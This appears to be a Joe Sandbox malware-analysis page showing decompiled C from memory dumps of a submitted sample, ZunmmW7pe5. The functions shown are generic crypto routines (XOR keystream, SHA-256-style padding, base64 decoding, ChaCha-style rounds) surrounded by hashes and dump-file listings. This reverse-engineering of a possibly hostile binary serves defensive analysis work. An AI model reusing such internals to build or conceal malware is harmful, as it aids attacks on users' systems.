Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7883190c95a2031e17ac1dc7615b0c56e10c6d0b0b1ef099233e28a73cfe45e2
Instruction ID: 81e26f95bca375b21e2b54e336bb1b146b51e2023a9d41a52f079485a46dd41e
Opcode Fuzzy Hash: 7883190c95a2031e17ac1dc7615b0c56e10c6d0b0b1ef099233e28a73cfe45e2
Instruction Fuzzy Hash: 7E61F823B1868585EB61DB29E8803DEBB61FB8C748F844132DA8C67B59DE3CD294C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3738660 Relevance: .2, Instructions: 155
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E00007FF77FF7E3738660(long long __rbx, long long __rcx, void* __rdx, long long __r8, signed char* __r9, long long __r12, long long __r13) {
				void* __rsi;
				void* _t120;
				void* _t121;
				long long _t123;
				signed int* _t134;
				void* _t138;
				signed int* _t140;
				intOrPtr _t155;
				long long _t161;
				intOrPtr _t163;
				unsigned long long _t167;
				void* _t169;
				long long _t170;
				void* _t172;
				void* _t173;
				signed int* _t175;
				void* _t179;
				void* _t180;
				void* _t203;
				signed long long _t206;
				void* _t210;
				long long _t212;

				 *((long long*)(_t179 + 0x20)) = __r9;
				 *((long long*)(_t179 + 0x18)) = __r8;
				 *((long long*)(_t179 + 8)) = __rcx;
				_push(_t172);
				_t180 = _t179 - 0x80;
				_t161 = __rcx;
				if (__rdx == 0) goto 0xe37386cb;
				_t155 =  *((intOrPtr*)(__rcx + 0x80));
				_t120 = _t155 - 0x40;
				if (_t120 >= 0) goto 0xe37386cb;
				_t173 = _t172 + 1;
				 *__r9 =  *(__r8 - __r9 + __r9) & 0x000000ff ^  *(_t155 + __rcx + 0x40);
				 *((long long*)(__rcx + 0x80)) =  *((long long*)(__rcx + 0x80)) + 1;
				_t167 = __rdx - 1;
				if (_t120 != 0) goto 0xe37386a0;
				 *((long long*)(_t180 + 0x78)) = __rbx;
				_t121 = _t167 - 0x40;
				if (_t121 < 0) goto 0xe3738861;
				_t212 = __r8 - __r9;
				 *((long long*)(_t180 + 0x70)) = __r12;
				 *((long long*)(_t180 + 0x68)) = __r13;
				 *((long long*)(_t180 + 0x50)) = _t212;
				_t138 = __r9 - 0x40 + _t173 - __rcx;
				_t206 = _t167 >> 6;
				 *((long long*)(_t180 + 0x20)) = _t212 + 4;
				 *((long long*)(_t180 + 0x28)) = _t212 + 5;
				 *((long long*)(_t180 + 0x30)) = _t212 + 6;
				 *((long long*)(_t180 + 0x38)) = _t212 + 7;
				 *((long long*)(_t180 + 0xb8)) = _t167 + _t206 * 0xffffffc0;
				 *((long long*)(_t180 + 0x58)) = _t173 + (_t206 << 6);
				_t169 = _t212 + 1;
				_t175 = __rcx + 0x40;
				E00007FF77FF7E3738410(_t121, _t138, __rcx, _t175, _t169, __r8, _t210);
				 *((intOrPtr*)(_t161 + 0x30)) =  *((intOrPtr*)(_t161 + 0x30)) + 1;
				 *((long long*)(_t180 + 0x40)) =  *((intOrPtr*)(_t180 + 0x30)) + _t138;
				_t134 = _t175;
				asm("o16 nop [eax+eax]");
				 *(_t134 + _t138) =  *(_t134 + _t212 + _t138) & 0x000000ff ^  *_t134;
				 *(_t134 + _t138 + 1) =  *(_t134 + _t169 + _t138) & 0x000000ff ^ _t134[0];
				 *(_t134 + _t138 + 2) =  *(_t134 + _t212 + 2 + _t138) & 0x000000ff ^ _t134[0];
				 *(_t134 + _t138 + 3) =  *(_t134 + _t138 + _t212 + 3) & 0x000000ff ^ _t134[0];
				 *(_t134 + _t138 + 4) =  *(_t134 +  *((intOrPtr*)(_t180 + 0x20)) + _t138) & 0x000000ff ^ _t134[1];
				 *(_t138 +  &(_t134[1])) =  *(_t134 +  *((intOrPtr*)(_t180 + 0x28)) + _t138) & 0x000000ff ^ _t134[1];
				 *(_t138 +  &(_t134[1])) =  *( *((intOrPtr*)(_t180 + 0x40)) + _t134) & 0x000000ff ^ _t134[1];
				 *(_t138 +  &(_t134[1])) =  *( *((intOrPtr*)(_t180 + 0x38)) + _t138 + _t134) & 0x000000ff ^ _t134[1];
				if (_t121 != 0) goto 0xe37387b0;
				_t163 =  *((intOrPtr*)(_t180 + 0xb0));
				if (_t121 != 0) goto 0xe3738752;
				_t170 =  *((intOrPtr*)(_t180 + 0xb8));
				if (_t170 == 0) goto 0xe37388ad;
				_t140 = _t163 + 0x40;
				E00007FF77FF7E3738410(_t170, _t140, _t163, _t140, _t170, _t212 + _t138, _t203);
				 *((intOrPtr*)(_t163 + 0x30)) =  *((intOrPtr*)(_t163 + 0x30)) + 1;
				_t123 = _t170;
				if (_t123 == 0) goto 0xe37388a6;
				 *( *((intOrPtr*)(_t180 + 0xc8)) +  *((intOrPtr*)(_t180 + 0x58)) - _t163 + _t140 - 0x40) =  *( *((intOrPtr*)(_t180 + 0xc0)) +  *((intOrPtr*)(_t180 + 0x58)) - _t163 + _t140 - 0x40) & 0x000000ff ^  *_t140;
				if (_t123 != 0) goto 0xe3738890;
				 *((long long*)(_t163 + 0x80)) = _t170;
				return 0;
			}

0x7ff7e3738660
0x7ff7e3738665
0x7ff7e373866a
0x7ff7e373866f
0x7ff7e3738676
0x7ff7e3738688
0x7ff7e373868e
0x7ff7e37386a0
0x7ff7e37386a7
0x7ff7e37386ab
0x7ff7e37386b2
0x7ff7e37386b9
0x7ff7e37386be
0x7ff7e37386c5
0x7ff7e37386c9
0x7ff7e37386cb
0x7ff7e37386d0
0x7ff7e37386d4
0x7ff7e37386da
0x7ff7e37386dd
0x7ff7e37386e5
0x7ff7e37386ed
0x7ff7e37386f9
0x7ff7e37386fc
0x7ff7e3738704
0x7ff7e3738711
0x7ff7e373871e
0x7ff7e3738727
0x7ff7e373873d
0x7ff7e3738745
0x7ff7e373874a
0x7ff7e373874e
0x7ff7e3738758
0x7ff7e373875d
0x7ff7e3738785
0x7ff7e3738792
0x7ff7e37387a5
0x7ff7e37387b7
0x7ff7e37387c2
0x7ff7e37387ce
0x7ff7e37387da
0x7ff7e37387e6
0x7ff7e37387f2
0x7ff7e37387fd
0x7ff7e3738809
0x7ff7e3738815
0x7ff7e3738820
0x7ff7e3738834
0x7ff7e373883a
0x7ff7e3738864
0x7ff7e3738866
0x7ff7e3738870
0x7ff7e3738875
0x7ff7e3738878
0x7ff7e373887b
0x7ff7e3738897
0x7ff7e37388a4
0x7ff7e37388a6
0x7ff7e37388c2

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdfe8f8cd9cad55ee7d09f2a23104750b029ef7f583fe65a47e226cfcf06ec24
Instruction ID: c661bdb607cd504438e1a349bd856c577d9d199e5d71a161d864179b5dc5b91c
Opcode Fuzzy Hash: cdfe8f8cd9cad55ee7d09f2a23104750b029ef7f583fe65a47e226cfcf06ec24
Instruction Fuzzy Hash: F161B333609AD596DB458F25E0502BEBFA4F399B84F5A812ADBDD03B05CE3CC129CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3731F00 Relevance: .2, Instructions: 150
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3731F00(long long __rax, long long __rbx, signed int* __rcx, char* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				void* _t155;
				unsigned int _t157;
				unsigned int _t161;
				void* _t162;
				void* _t163;
				long long _t169;
				signed long long _t171;
				signed long long _t178;
				void* _t183;
				void* _t190;
				void* _t191;
				void* _t192;

				_t180 = __rdx;
				_t169 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t171 = __rcx;
				 *((char*)(__rcx +  &(__rcx[0xa]))) = 0x80;
				_t155 = ( *__rcx & 0x0000003f) + 1;
				if (_t155 - 0x38 > 0) goto 0xe3731f41;
				r8d = 0x38;
				r8d = r8d - _t155;
				E00007FF77FF7E373B860(_t155, 0, _t162, _t163,  &(__rcx[0xa]) + __rax, __rdx, _t183, _t190);
				goto 0xe3731f88;
				r8d = 0x40;
				r8d = r8d - _t155;
				E00007FF77FF7E373B860(_t155, 0, _t162, _t163, _t171 + 0x28 + _t169, _t180, _t183, _t190);
				_t178 = _t171;
				if (E00007FF77FF7E37313B0(_t169, _t171, _t178, _t171 + 0x28, _t190, _t191, _t192) != 0) goto 0xe37320df;
				 *((long long*)(_t171 + 0x28)) = _t169;
				 *((long long*)(_t171 + 0x30)) = _t169;
				 *((long long*)(_t171 + 0x38)) = _t169;
				 *((long long*)(_t171 + 0x40)) = _t169;
				 *((long long*)(_t171 + 0x48)) = _t169;
				 *((long long*)(_t171 + 0x50)) = _t169;
				 *((long long*)(_t171 + 0x58)) = _t169;
				_t161 =  *(_t171 + 4) << 0x00000003 |  *_t171 >> 0x0000001d;
				_t157 = _t178 * 8;
				 *(_t171 + 0x63) = _t161;
				 *((char*)(_t171 + 0x60)) = _t161 >> 0x18;
				 *((char*)(_t171 + 0x61)) = _t161 >> 0x10;
				 *((char*)(_t171 + 0x62)) = _t161 >> 8;
				 *((char*)(_t171 + 0x64)) = _t157 >> 0x18;
				 *((char*)(_t171 + 0x65)) = _t157 >> 0x10;
				 *(_t171 + 0x67) = _t157;
				 *((char*)(_t171 + 0x66)) = _t157 >> 8;
				if (E00007FF77FF7E37313B0(_t169, _t171, _t171, _t171 + 0x28, _t190, _t191, _t192) != 0) goto 0xe37320df;
				 *__rdx =  *(_t171 + 0xb) & 0x000000ff;
				 *((char*)(__rdx + 1)) =  *(_t171 + 0xa) & 0x000000ff;
				 *((char*)(__rdx + 2)) =  *(_t171 + 8) >> 8;
				 *((char*)(__rdx + 3)) =  *(_t171 + 8) & 0x000000ff;
				 *((char*)(__rdx + 4)) =  *(_t171 + 0xf) & 0x000000ff;
				 *((char*)(__rdx + 5)) =  *(_t171 + 0xe) & 0x000000ff;
				 *((char*)(__rdx + 6)) =  *(_t171 + 0xc) >> 8;
				 *((char*)(__rdx + 7)) =  *(_t171 + 0xc) & 0x000000ff;
				 *((char*)(__rdx + 8)) =  *(_t171 + 0x13) & 0x000000ff;
				 *((char*)(__rdx + 9)) =  *(_t171 + 0x12) & 0x000000ff;
				 *((char*)(__rdx + 0xa)) =  *(_t171 + 0x10) >> 8;
				 *((char*)(__rdx + 0xb)) =  *(_t171 + 0x10) & 0x000000ff;
				 *((char*)(__rdx + 0xc)) =  *(_t171 + 0x17) & 0x000000ff;
				 *((char*)(__rdx + 0xd)) =  *(_t171 + 0x16) & 0x000000ff;
				 *((char*)(__rdx + 0xe)) =  *(_t171 + 0x14) >> 8;
				 *((char*)(__rdx + 0xf)) =  *(_t171 + 0x14) & 0x000000ff;
				 *((char*)(__rdx + 0x10)) =  *(_t171 + 0x1b) & 0x000000ff;
				 *((char*)(__rdx + 0x11)) =  *(_t171 + 0x1a) & 0x000000ff;
				 *((char*)(__rdx + 0x12)) =  *(_t171 + 0x18) >> 8;
				 *((char*)(__rdx + 0x13)) =  *(_t171 + 0x18) & 0x000000ff;
				 *((char*)(__rdx + 0x14)) =  *(_t171 + 0x1f) & 0x000000ff;
				 *((char*)(__rdx + 0x15)) =  *(_t171 + 0x1e) & 0x000000ff;
				 *((char*)(__rdx + 0x16)) =  *(_t171 + 0x1c) >> 8;
				 *((char*)(__rdx + 0x17)) =  *(_t171 + 0x1c) & 0x000000ff;
				 *((char*)(__rdx + 0x18)) =  *(_t171 + 0x23) & 0x000000ff;
				 *((char*)(__rdx + 0x19)) =  *(_t171 + 0x22) & 0x000000ff;
				 *((char*)(__rdx + 0x1a)) =  *(_t171 + 0x20) >> 8;
				 *((char*)(__rdx + 0x1b)) =  *(_t171 + 0x20) & 0x000000ff;
				if ( *((intOrPtr*)(_t171 + 0x68)) != 0) goto 0xe37320dd;
				 *((char*)(__rdx + 0x1c)) =  *(_t171 + 0x27) & 0x000000ff;
				 *((char*)(__rdx + 0x1d)) =  *(_t171 + 0x26) & 0x000000ff;
				 *((char*)(__rdx + 0x1e)) =  *(_t171 + 0x24) >> 8;
				 *((char*)(__rdx + 0x1f)) =  *(_t171 + 0x24) & 0x000000ff;
				return 0;
			}

0x7ff7e3731f00
0x7ff7e3731f00
0x7ff7e3731f00
0x7ff7e3731f05
0x7ff7e3731f0f
0x7ff7e3731f1c
0x7ff7e3731f21
0x7ff7e3731f28
0x7ff7e3731f2a
0x7ff7e3731f30
0x7ff7e3731f3a
0x7ff7e3731f3f
0x7ff7e3731f41
0x7ff7e3731f47
0x7ff7e3731f51
0x7ff7e3731f5a
0x7ff7e3731f64
0x7ff7e3731f6c
0x7ff7e3731f70
0x7ff7e3731f74
0x7ff7e3731f78
0x7ff7e3731f7c
0x7ff7e3731f80
0x7ff7e3731f84
0x7ff7e3731f95
0x7ff7e3731f97
0x7ff7e3731fa0
0x7ff7e3731fa6
0x7ff7e3731fae
0x7ff7e3731fba
0x7ff7e3731fc2
0x7ff7e3731fca
0x7ff7e3731fd2
0x7ff7e3731fd8
0x7ff7e3731fe2
0x7ff7e3731fec
0x7ff7e3731ff2
0x7ff7e3731ffb
0x7ff7e3732002
0x7ff7e3732009
0x7ff7e3732010
0x7ff7e3732019
0x7ff7e3732020
0x7ff7e3732027
0x7ff7e373202e
0x7ff7e3732037
0x7ff7e373203e
0x7ff7e3732045
0x7ff7e373204c
0x7ff7e3732055
0x7ff7e373205c
0x7ff7e3732063
0x7ff7e373206a
0x7ff7e3732073
0x7ff7e373207a
0x7ff7e3732081
0x7ff7e3732088
0x7ff7e3732091
0x7ff7e3732098
0x7ff7e373209f
0x7ff7e37320a6
0x7ff7e37320af
0x7ff7e37320b6
0x7ff7e37320bd
0x7ff7e37320c3
0x7ff7e37320ca
0x7ff7e37320d3
0x7ff7e37320da
0x7ff7e37320ee

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 780a9273e1de59693276a2827acc6e10693c142ef08ca9512ef64beffb5be80f
Instruction ID: df5157de21c3639f25181ea600707a5e6d7f7b9cab70a54973b06cd5e46ac2ba
Opcode Fuzzy Hash: 780a9273e1de59693276a2827acc6e10693c142ef08ca9512ef64beffb5be80f
Instruction Fuzzy Hash: 3561712311D2D08EC32ADF7954501ADBFF0D32AA09708819ADBD987B4BC52CD759C772

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3735650 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00007FF77FF7E3735650(void* __rax, long long __rbx, char* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, long long* __r8, signed char* __r9, long long _a8, long long _a16, long long _a24, long long _a32, intOrPtr _a40) {
				signed int _t34;
				signed int _t49;
				signed int _t51;
				void* _t74;
				void* _t79;
				void* _t82;
				void* _t83;
				signed long long _t86;
				signed long long _t87;
				void* _t92;
				signed long long _t95;
				char* _t113;
				intOrPtr* _t114;
				long long* _t116;
				intOrPtr _t119;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_t119 = _a40;
				r11d = 0;
				if (_t119 == 0) goto 0xe3735814;
				if (__rax - _t119 >= 0) goto 0xe37356ab;
				if ( *((char*)(__rax + __r9)) != 0x20) goto 0xe37356a8;
				_t82 = __rax + 1;
				if (_t82 - _t119 < 0) goto 0xe3735697;
				if (_t82 == _t119) goto 0xe3735723;
				_t92 = _t119 - _t82;
				if (_t92 - 2 < 0) goto 0xe37356c8;
				if ( *(_t82 + __r9) != 0xd) goto 0xe37356c8;
				if ( *((char*)(_t82 +  &(__r9[1]))) == 0xa) goto 0xe3735717;
				_t34 =  *(_t82 + __r9) & 0x000000ff;
				if (_t34 == 0xa) goto 0xe3735717;
				if (1 != 0) goto 0xe3735803;
				if (_t34 != 0x3d) goto 0xe37356ec;
				r11d = r11d + 1;
				if (r11d - 2 > 0) goto 0xe3735803;
				if (_t34 - 0x7f > 0) goto 0xe3735803;
				_t49 =  *(_t92 + 0xe3758680) & 0x000000ff;
				if (_t49 == 0x7f) goto 0xe3735803;
				if (_t49 - 0x40 >= 0) goto 0xe3735714;
				if (r11d != 0) goto 0xe3735803;
				_t86 = __rbx + 1;
				_t83 = _t82 + 1;
				if (_t83 - _t119 < 0) goto 0xe3735690;
				if (_t86 == 0) goto 0xe3735814;
				_t87 = _t86 >> 3;
				_t95 = _t87 + _t87 * 2;
				if (__rcx == 0) goto 0xe373580a;
				if (__rdx - (7 + (_t86 + _t86 * 2) * 2 >> 3) + _t95 * 2 - _t95 < 0) goto 0xe373580a;
				r10d = 0;
				r11d = 3;
				if (_t83 == 0) goto 0xe37357fb;
				_t74 = ( *__r9 & 0x000000ff) - 0x20;
				if (_t74 > 0) goto 0xe3735796;
				asm("dec eax");
				if (_t74 < 0) goto 0xe37357f2;
				_t51 =  *(_t95 + 0xe3758680) & 0x000000ff;
				r11d = r11d - (0 | _t51 == 0x00000040);
				r10d = _t51 & 0x0000003f;
				r10d = r10d | r10d << 0x00000006;
				if (_t87 + 1 != 4) goto 0xe37357f2;
				if (r11d == 0) goto 0xe37357d4;
				 *__rcx = r10d >> 0x10;
				_t113 = __rcx + 1;
				if (r11d - 1 <= 0) goto 0xe37357e6;
				 *_t113 = r10d >> 8;
				_t114 = _t113 + 1;
				_t79 = r11d - 2;
				if (_t79 <= 0) goto 0xe37357f2;
				 *_t114 = r10b;
				if (_t79 != 0) goto 0xe3735787;
				_t116 = _t114 + 1 - __rcx;
				 *__r8 = _t116;
				goto 0xe373581b;
				goto 0xe373581d;
				 *__r8 = _t116;
				goto 0xe373581d;
				 *_t116 = 0;
				return 0;
			}

0x7ff7e3735650
0x7ff7e3735655
0x7ff7e373565a
0x7ff7e373565f
0x7ff7e3735666
0x7ff7e373566b
0x7ff7e373567e
0x7ff7e3735695
0x7ff7e373569c
0x7ff7e373569e
0x7ff7e37356a6
0x7ff7e37356ab
0x7ff7e37356b0
0x7ff7e37356b7
0x7ff7e37356be
0x7ff7e37356c6
0x7ff7e37356c8
0x7ff7e37356d0
0x7ff7e37356d4
0x7ff7e37356dd
0x7ff7e37356df
0x7ff7e37356e6
0x7ff7e37356ef
0x7ff7e37356f8
0x7ff7e3735700
0x7ff7e3735709
0x7ff7e373570e
0x7ff7e3735714
0x7ff7e3735717
0x7ff7e373571d
0x7ff7e3735726
0x7ff7e373572f
0x7ff7e3735746
0x7ff7e3735757
0x7ff7e3735760
0x7ff7e3735766
0x7ff7e373576b
0x7ff7e3735777
0x7ff7e373578b
0x7ff7e373578e
0x7ff7e3735790
0x7ff7e3735794
0x7ff7e3735799
0x7ff7e37357a9
0x7ff7e37357b2
0x7ff7e37357b8
0x7ff7e37357bf
0x7ff7e37357c6
0x7ff7e37357ce
0x7ff7e37357d1
0x7ff7e37357d8
0x7ff7e37357e0
0x7ff7e37357e3
0x7ff7e37357e6
0x7ff7e37357ea
0x7ff7e37357ec
0x7ff7e37357f9
0x7ff7e37357fb
0x7ff7e37357fe
0x7ff7e3735801
0x7ff7e3735808
0x7ff7e373580a
0x7ff7e3735812
0x7ff7e3735814
0x7ff7e3735833

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06ad3a56f85338d5196d39660cb0dec201a3af747fc11ad2ca782d9662113b37
Instruction ID: 54d3a1ffc903a3fdd9c1630167ae30ee1d08c1bb0ada8bb46fe8e113e5a188ab
Opcode Fuzzy Hash: 06ad3a56f85338d5196d39660cb0dec201a3af747fc11ad2ca782d9662113b37
Instruction Fuzzy Hash: 45415E11E3C79684FBA89A2480D4375BEA2FB49760FC8513BDA8F232C1CD3CD5618322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3738240 Relevance: .1, Instructions: 134
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E3738240(long long __rbx, signed int* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				signed int _t117;
				signed int _t118;
				signed int _t119;
				signed int _t122;
				signed int _t125;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t130;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t135;
				signed int _t137;
				signed int _t139;
				signed int _t140;
				signed int _t142;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				 *__rcx =  *__rcx + __rcx[4];
				_t127 =  *__rcx ^ __rcx[0xc];
				r8d = __rcx[7];
				asm("rol ebx, 0x10");
				__rcx[8] = __rcx[8] + _t127;
				_t117 = __rcx[8] ^ __rcx[4];
				asm("rol eax, 0xc");
				 *__rcx =  *__rcx + _t117;
				_t128 = _t127 ^  *__rcx;
				asm("rol ebx, 0x8");
				__rcx[8] = __rcx[8] + _t128;
				__rcx[0xc] = _t128;
				_t142 = __rcx[8] ^ _t117;
				_t118 = __rcx[5];
				__rcx[1] = __rcx[1] + _t118;
				_t119 = __rcx[6];
				r9d = _t119;
				__rcx[2] = __rcx[2] + _t119;
				r10d = __rcx[2];
				r10d = r10d ^ __rcx[0xe];
				r11d = __rcx[1];
				r11d = r11d ^ __rcx[0xd];
				__rcx[3] = __rcx[3] + __rcx[7];
				asm("inc ecx");
				__rcx[0xa] = __rcx[0xa] + r10d;
				r9d = r9d ^ __rcx[0xa];
				asm("inc ecx");
				__rcx[9] = __rcx[9] + r11d;
				_t139 = _t118 ^ __rcx[9];
				asm("rol edx, 0xc");
				__rcx[1] = __rcx[1] + _t139;
				r11d = r11d ^ __rcx[1];
				__rcx[5] = _t139;
				asm("inc ecx");
				__rcx[2] = __rcx[2] + r9d;
				r10d = r10d ^ __rcx[2];
				asm("inc ecx");
				__rcx[0xa] = __rcx[0xa] + r10d;
				r9d = r9d ^ __rcx[0xa];
				__rcx[0xe] = r10d;
				asm("inc ecx");
				__rcx[9] = __rcx[9] + r11d;
				_t140 = _t139 ^ __rcx[9];
				__rcx[0xd] = r11d;
				asm("rol edx, 0x7");
				 *__rcx =  *__rcx + _t140;
				asm("inc ecx");
				__rcx[6] = r9d;
				asm("rol edi, 0x7");
				__rcx[4] = _t142;
				_t132 = __rcx[0xf] ^ __rcx[3];
				asm("rol ecx, 0x10");
				__rcx[0xb] = __rcx[0xb] + _t132;
				r8d = r8d ^ __rcx[0xb];
				asm("inc ecx");
				__rcx[3] = __rcx[3] + r8d;
				_t133 = _t132 ^ __rcx[3];
				asm("rol ecx, 0x8");
				__rcx[0xb] = __rcx[0xb] + _t133;
				_t134 = _t133 ^  *__rcx;
				r8d = r8d ^ __rcx[0xb];
				asm("rol ecx, 0x10");
				__rcx[0xa] = __rcx[0xa] + _t134;
				_t122 = __rcx[0xa] ^ _t140;
				asm("inc ecx");
				asm("rol eax, 0xc");
				 *__rcx =  *__rcx + _t122;
				_t135 = _t134 ^  *__rcx;
				asm("rol ecx, 0x8");
				__rcx[0xa] = __rcx[0xa] + _t135;
				__rcx[0xf] = _t135;
				__rcx[1] = __rcx[1] + r9d;
				__rcx[2] = __rcx[2] + r8d;
				_t129 = _t128 ^ __rcx[1];
				__rcx[3] = __rcx[3] + _t142;
				r10d = r10d ^ __rcx[3];
				r11d = r11d ^ __rcx[2];
				asm("rol ebx, 0x10");
				__rcx[0xb] = __rcx[0xb] + _t129;
				r9d = r9d ^ __rcx[0xb];
				asm("rol eax, 0x7");
				__rcx[5] = _t122 ^ __rcx[0xa];
				asm("inc ecx");
				__rcx[9] = __rcx[9] + r10d;
				asm("inc ecx");
				_t137 = __rcx[9] ^ _t142;
				__rcx[8] = __rcx[8] + r11d;
				r8d = r8d ^ __rcx[8];
				asm("inc ecx");
				__rcx[1] = __rcx[1] + r9d;
				_t130 = _t129 ^ __rcx[1];
				asm("inc ecx");
				__rcx[2] = __rcx[2] + r8d;
				r11d = r11d ^ __rcx[2];
				asm("rol ebx, 0x8");
				__rcx[0xb] = __rcx[0xb] + _t130;
				r9d = r9d ^ __rcx[0xb];
				asm("rol ecx, 0xc");
				__rcx[3] = __rcx[3] + _t137;
				r10d = r10d ^ __rcx[3];
				asm("inc ecx");
				__rcx[9] = __rcx[9] + r10d;
				asm("inc ecx");
				_t125 = __rcx[9] ^ _t137;
				__rcx[8] = __rcx[8] + r11d;
				r8d = r8d ^ __rcx[8];
				__rcx[0xc] = _t130;
				asm("rol eax, 0x7");
				asm("inc ecx");
				asm("inc ecx");
				__rcx[4] = _t125;
				__rcx[6] = r9d;
				__rcx[0xd] = r11d;
				__rcx[7] = r8d;
				__rcx[0xe] = r10d;
				return _t125;
			}

0x7ff7e3738240
0x7ff7e3738245
0x7ff7e373824a
0x7ff7e3738255
0x7ff7e3738259
0x7ff7e373825c
0x7ff7e3738260
0x7ff7e3738263
0x7ff7e3738269
0x7ff7e373826c
0x7ff7e373826f
0x7ff7e3738271
0x7ff7e3738273
0x7ff7e3738276
0x7ff7e373827c
0x7ff7e373827f
0x7ff7e3738281
0x7ff7e3738286
0x7ff7e3738289
0x7ff7e373828c
0x7ff7e373828f
0x7ff7e3738292
0x7ff7e3738296
0x7ff7e373829a
0x7ff7e373829e
0x7ff7e37382a5
0x7ff7e37382a8
0x7ff7e37382ac
0x7ff7e37382b0
0x7ff7e37382b4
0x7ff7e37382b8
0x7ff7e37382bc
0x7ff7e37382bf
0x7ff7e37382c2
0x7ff7e37382c5
0x7ff7e37382c9
0x7ff7e37382cc
0x7ff7e37382d0
0x7ff7e37382d4
0x7ff7e37382d8
0x7ff7e37382dc
0x7ff7e37382e0
0x7ff7e37382e4
0x7ff7e37382e8
0x7ff7e37382ec
0x7ff7e37382f0
0x7ff7e37382f3
0x7ff7e37382f7
0x7ff7e37382fa
0x7ff7e37382fc
0x7ff7e3738300
0x7ff7e3738304
0x7ff7e3738307
0x7ff7e373830d
0x7ff7e3738310
0x7ff7e3738313
